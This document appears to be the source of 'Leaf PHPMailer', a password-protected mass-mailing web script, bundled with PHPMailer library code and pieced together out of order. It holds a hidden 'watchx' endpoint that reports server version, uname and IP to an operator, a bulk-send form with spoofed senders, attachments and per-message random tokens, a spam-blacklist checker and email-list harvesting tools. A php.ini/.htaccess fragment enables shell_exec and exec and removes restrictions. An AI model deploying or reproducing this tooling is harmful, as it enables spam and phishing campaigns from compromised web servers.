     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "6MOJkKq5t94";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
